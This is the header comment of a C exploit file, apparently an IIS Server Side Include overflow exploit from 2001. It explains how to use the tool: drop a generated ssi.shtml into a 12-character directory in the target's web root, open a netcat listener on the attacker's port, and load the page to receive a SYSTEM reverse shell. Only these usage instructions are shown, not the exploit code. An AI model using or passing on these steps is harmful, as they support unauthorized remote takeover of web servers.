/*  jim.c -IIS Server Side Include exploit by Indigo
<indigo@exploitingstuff.com> 2001

  Usage: jim <attacker host> <attacker port>

  This code has been compiled and tested on Linux and Win32

  To exploit this vulnerability you must have write access to the web root of
the
  target web server. This program will generate a file called ssi.shtml.
  Create a directory in the web root whose name is 12 characters long (this
is important!)
  eg. ssi_overflow then put this file into the new directory. Start up a
netcat listener:

  nc -l -p <attacker port> -vv

      Access the file http://target/ssi_overflow/ssi.shtml using a web
browser.
  N.B. I have had problems using Netscape to do this but IE works fine.

  A SYSTEM shell will appear in the Netcat session.

  You may need to hit return a few times to get the prompt up.
